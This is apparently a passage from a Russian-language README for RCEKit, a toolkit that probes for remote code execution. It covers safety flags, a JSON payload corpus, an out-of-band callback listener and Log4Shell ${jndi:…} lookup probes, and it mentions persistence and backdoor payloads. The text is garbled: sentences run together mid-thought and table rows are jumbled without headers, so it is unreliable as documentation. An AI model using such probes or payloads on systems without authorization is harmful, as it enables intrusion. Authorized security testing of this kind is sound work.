--acknowledge-consent; --detection-only безопасен и не требует.--verify-active-risk. Деструктивные полезные нагрузки (персистентность, бэкдоры) никогда не
запускаются без --verify-allow-destructive. План выполнения печатает точно,
что будет отправлено, прежде чем что-либо запустится.safe / intrusive / stateful. Полезные нагрузки корпуса
фильтруются по --max-safety; методы обнаружения и их формы зондов объявляют
те же ступени и фильтруются по --verify-active-risk, так что метод, который
заставляет цель обратиться наружу или оставляет что-то после себя, подчиняется тому же
порядку, что и любая полезная нагрузка корпуса. Предварительная проверка называет уровень, который
фактически нужен каждому удержанному элементу. file и write вместо этого ограничены их собственной конфигурацией:
ни один ничего не делает, пока вы не назовёте каталог для записи и
URL для обратного чтения.exploit_audit.log; --watermark встраивает отслеживаемый токен; логи выполнения идут в
rcekit.log.--template-file, которого нет, заставляют RCEKit отказаться от запуска и завершиться с ненулевым кодом,
а не молча сгенерировать ничего (--doctor проверяет это). Только отсутствующий
файл корпуса по умолчанию откатывается к встроенной копии, и он говорит об этом, когда
это делает.Этот набор инструментов предназначен только для авторизованного тестирования на проникновение, исследований в области безопасности, обучения и защитного тренинга. Никогда не используйте его против систем без явного разрешения — несанкционированное тестирование незаконно.
python -m unittest discover -s tests # dependency-free test suite
Приветствуются вклады — новые sinks/категории, кодировки, окружения, методы
обнаружения, исправления ошибок и документация. Базы payload'ов хранятся в
редактируемых JSON-шаблонах (`templates/payloads.json`), поэтому большинство
расширений покрытия не требует изменения исходного кода на Python. После
изменения корпуса обновите встроенную копию, поставляемую внутри `rcekit.py`:```bash
python tools/embed_corpus.py # --check verifies it is current
Набор тестов завершается с ошибкой, если эти два файла когда-либо разойдутся. См. CONTRIBUTING.md.
MIT — см. LICENSE.
deserialization-sink| Слепые / out-of-band — эксфильтрация, асинхронность | oob | Встроенный HTTP/DNS-слушатель принимает обратные вызовы и сопоставляет каждый с точной полезной нагрузкой; каждая проба несёт собственный токен. |
| Sink'и поиска выражений — Log4Shell/JNDI | lookup | Sink разрешает URI ${jndi:…} вместо выполнения команды, поэтому shell-пробы oob ни до чего не доходят. Доказывает это только по обратному вызову и сообщает lookup-sink, никогда confirmed. Отправляется только jndi:dns:// — поиск имени и ничего больше — так что доказанным оказывается поиск, а не цепочка гаджетов. |
| Когда исполнение происходит в другом запросе |
| Точка инъекции — SQL, а сток — хост базы данных | Мосты языков запросов |
| Конечная точка принимает сериализованный объект | Стоки десериализации |
| Сток находится за логином или загрузкой файла | Многошаговые цепочки |
Я получил needs-review / inconclusive / error | Чтение результатов |
| Он говорит, что корпус непригоден | Устранение неполадок |